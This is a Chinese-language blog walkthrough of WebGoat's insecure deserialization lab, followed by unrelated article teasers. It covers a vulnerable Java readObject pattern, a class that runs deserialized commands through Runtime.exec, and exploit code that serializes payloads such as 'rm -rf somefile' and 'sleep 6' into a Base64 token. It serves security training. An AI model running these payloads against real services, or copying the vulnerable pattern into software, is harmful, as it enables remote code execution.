webgoat-Insecure Deserialization不安全的序列化

A(8)不安全的反序列化

反序列化是将已序列化的数据还原回对象的过程。然而,如果反序列化是不安全的,那么恶意攻击者可以在序列化的数据中夹带恶意代码,从而在反序列化时执行这些代码。这种攻击被称为反序列化。

什么是序列化

序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。反序列化是从某种格式获取结构化数据并将其重建为对象的过程的逆过程。如今,最流行的序列化数据格式是 JSON。在此之前,它是 XML。

a:4:{i:0;i:132;i:1;s:7:“马洛里”;i:2;s:4:“用户”; i:3;s:32:“b6a8b3bea87fe0e05022f8f3c88bc960”;}

原生序列化

许多编程语言都提供了序列化对象的本机功能。这些本机格式通常提供比 JSON 或 XML 更多的功能,包括序列化过程的可定制性。不幸的是,当对不受信任的数据进行操作时,这些本机反序列化机制的功能可能会被重新利用以产生恶意效果。已发现针对反序列化器的攻击允许拒绝服务、访问控制和远程代码执行攻击。

已知受影响的编程语言

PHP、Python、java、C、C++

数据,而不是代码

仅数据被序列化。代码本身没有序列化。反序列化创建一个新对象并复制字节流中的所有数据,以获得与序列化对象相同的对象。

最简单的利用

易受攻击的代码

以下是一个众所周知的 Java 反序列化漏洞示例。

InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();

它期待一个AcmeObject对象,但它将readObject()在转换发生之前执行。如果攻击者发现在 中执行危险操作的正确类readObject(),他可以序列化该对象并强制易受攻击的应用程序执行这些操作。

ClassPath 中包含的类

攻击者需要在类路径中找到一个支持序列化并且在readObject().

package org.dummy.insecure.framework;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 1;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}private void readObject( ObjectInputStream stream ) throws Exception {//deserialize data so taskName and taskAction are availablestream.defaultReadObject();//blindly run some code. #code injectionRuntime.getRuntime().exec(taskAction);}
}

利用

如果上面显示的java类存在,攻击者就可以序列化该对象并获得远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

0x05

一个反序列化的题,题目要求更改序列化对象,使页面响应延迟5秒。
在这里插入图片描述
需要在VulnerableTaskHolder文件目录新建一个文件如下,并执行。然后将生成的序列化对象token提交。
我这里的问题是一直提示任务不是接下来10分钟执行的。一直没过。

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class SerialMain {static public void main(String[] args){try{VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(go);oos.flush();byte[] exploit = bos.toByteArray();String exp = Base64.getEncoder().encodeToString(exploit);System.out.println(exp);} catch (Exception e){}}
}

使用win10部署的本地版本,因为win10不支持sleep,可以用ping。
执行SerialMain后生成token,复制到token处提交。
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/182325.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

雨洪水资源管理远程监控平台

雨洪水资源管理远程监控平台 汛期来临时,及时获得河道水库的水位涨幅数据对开展防汛抗洪工作至关重要,大量河道水库分布在远离城市的区域,而且分散,尤其是在紧急防汛阶段,如果只依靠传统人力巡查获得河道水位数据必将耗…

API接口对于程序员可以提高开发效率、减少错误率、保证数据一致性、增强用户体验

API接口给程序员带来了许多好处。以下是其中一些主要的好处: 提高开发效率:通过API接口,程序员可以避免重复编写代码,直接使用其他应用程序或服务提供的接口和数据,从而极大地提高了开发效率。减少错误率:…

linux修改rocketmq的日志文件位置

文章目录 🔊修改rocketmq的日志文件位置📕原来的文件📌修改后文件📇rocketmq中的Rocketmq_client.log文件在配置文件中改不了 需要在代码logback文件中进行修改🖊️最后总结 🔊修改rocketmq的日志文件位置 …

数据可视化:折线图

1.初看效果 (1)效果一 (2)数据来源 2.JSON数据格式 其实JSON数据在JAVA后期的学习过程中我已经是很了解了,基本上后端服务器和前端交互数据大多是采用JSON字符串的形式 (1)JSON的作用 &#…

uniapp在APP端使用swiper进行页面不卡顿滑动

uniapp在APP端使用swiper进行页面会卡顿&#xff0c;主要是渲染的数据有点多&#xff0c;这里只渲染三个数据就不好那么卡顿了&#xff0c;每次滑动后更新数据 <view><swiper change"changePoint" circular :disable-touch"disableTouch"><…

uniapp踩坑之项目:uniapp数字键盘组件—APP端

//在components文件夹创建digitKeyboard文件夹&#xff0c;再创建digitKeyboard.vue <!-- 数字键盘 --> <template><view class"digit-keyboard"><view class"digit-keyboard_bg" tap"hide"></view><view clas…

IDEA插件分享,支持接口调试!

平时我们在写完接口需要填入postman、Apipost等工具进行接口调试&#xff0c;今天给大家推荐一款IDEA插件Apipost-helper&#xff0c;写完代码直接可以进行调试&#xff0c;而且支持生成接口文档&#xff0c;JAVA工程师必用&#xff01; 可以点击下方链接或在插件商店中搜索安…

Angular异步数据流编程

1 目前常见的异步编程的几种方法 首先给出一个异步请求的实例&#xff1a; import {Injectable} from angular/core;Injectable({providedIn: root }) export class RequestServiceService {constructor() {}getData() {setTimeout(() > {let res zhaoshuai-lcreturn res…

个人服务器到期,项目下线,新的开始

告别旧服务器 2023.11.06服务器到期&#xff0c;所有项目正式下线 时间真的过的很快&#xff0c;从开始踏入编程的大门&#xff0c;到现在不知不觉已经陆续经手了两台服务器了&#xff0c;目前这台服务器是一年前的阿里云活动白嫖的嘿嘿嘿&#xff0c;该服务器上目前运行的项…

2022年09月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 十六进制数100,对应的十进制数为 ?( ) A: 128 B: 256 C: 28 D: 56 答案:B 考查学生将十六进制数转为十进制数。本质上就是int(‘100’,16),答案为256。 第2题 下图代码中,…

一站式解决方案:体验亚马逊轻量服务器/VPS的顶级服务与灵活性

文章目录 一、什么是轻量级服务器/VPS 二、服务器创建步骤 三、服务器连接客户端(私钥登录) 四、使用服务器搭建博客网站 五、个人浅解及总结 一、什么是轻量级服务器/VPS 亚马逊推出的轻量级服务器/VPS&#xff1a;是一种基于云计算技术的虚拟服务器解决方案。它允许用户…

【VR开发】【Unity】【VRTK】3-VR项目设置

任何VR避不开的步骤 如何设置VR项目,无论是PC VR还是安卓VR,我在不同的系列教程中都说过了,不过作为任何一个VR开发教程都难以避免的一环,本篇作为VRTK的开发教程还是对VR项目设置交代一下。 准备好你的硬件 头盔必须是6DoF的,推荐Oculus Quest系列,Rift系列,HTC和Pi…

NLP之Bert介绍和简单示例

文章目录 1. Bert 介绍2. 代码示例2.1 代码流程 1. Bert 介绍 2. 代码示例 from transformers import AutoTokenizertokenizer AutoTokenizer.from_pretrained("bert-base-chinese") input_ids tokenizer.encode(欢迎来到Bert世界, return_tensorstf) print(input…

润和软件HopeStage与奇安信网神终端安全管理系统、可信浏览器完成产品兼容性互认证

近日&#xff0c;江苏润和软件股份有限公司&#xff08;以下简称“润和软件”&#xff09;HopeStage 操作系统与奇安信网神信息技术&#xff08;北京&#xff09;股份有限公司&#xff08;以下简称“奇安信”&#xff09;终端安全管理系统、可信浏览器完成产品兼容性测试。 测试…

MySQL进阶_5.逻辑架构和SQL执行流程

文章目录 第一节、逻辑架构剖析1.1、服务器处理客户端请求1.2、Connectors1.3、第1层&#xff1a;连接层1.4、第2层&#xff1a;服务层1.5、 第3层&#xff1a;引擎层1.6、 存储层1.7、小结 第二节、SQL执行流程2.1、查询缓存2.2、解析器2.3、优化器2.4、执行器 第三节、数据库…

开创金融智能新纪元,拓世法宝助力银行数字化转型

这是一个日新月异、飞速发展的时代&#xff0c;每一个创新思想&#xff0c;每一项科技突破&#xff0c;都在不断推动着社会进步&#xff0c;塑造着未来的生活模式。数字化的浪潮中&#xff0c;中国发展出独特的智慧和庞大的市场&#xff0c;展现了无限的可能和无限的未来。党的…

JAVA对象大小的获取

1. Java 对象的内存布局 Java的实例对象、数组对象在内存中的组成包括如下三部分&#xff1a;对象头Hearder、实例数据、内存填充。示意图如下所示 对象头 其主要包括两部分数据&#xff1a;Mark Word、Class对象指针。特别地对于数组对象而言&#xff0c;其还包括了数组长度…

Ionic 模块组件的理解

1 Ionic4.x 文件分析 1.1 app.module.ts 分析 Ionic 是一个基于 Angular 的移动应用开发框架&#xff0c;能帮助开发者使用 Web 技术&#xff08;HTML5、CSS3、JavaScript&#xff09;创建跨平台的应用程序。在 Ionic 应用程序中&#xff0c;app.module.ts 文件是整个应用程序的…

Python小试牛刀:GUI(图形界面)实现计算器UI界面(三)

上一篇&#xff1a;Python小试牛刀&#xff1a;GUI&#xff08;图形界面&#xff09;实现计算器UI界面(二)-CSDN博客 回顾前两篇文章&#xff0c;第一篇文章主要实现了计算器UI界面如何布局&#xff0c;以及简单概述Python常用的GUI库。第二篇文章主要实现了计算器UI界面按钮组…

Wpf 使用 Prism 实战开发Day04

一.菜单导航实现 1.首先创建出所有的页面(View)及对应的页面逻辑处理类(ViewModel) IndexView(首页)-----------------IndexViewModelToDoView(待办事项)------------ToDoViewModelMemoView(忘备录)--------------MemoViewModelSettingsView(设置)--------------SettingsViewMo…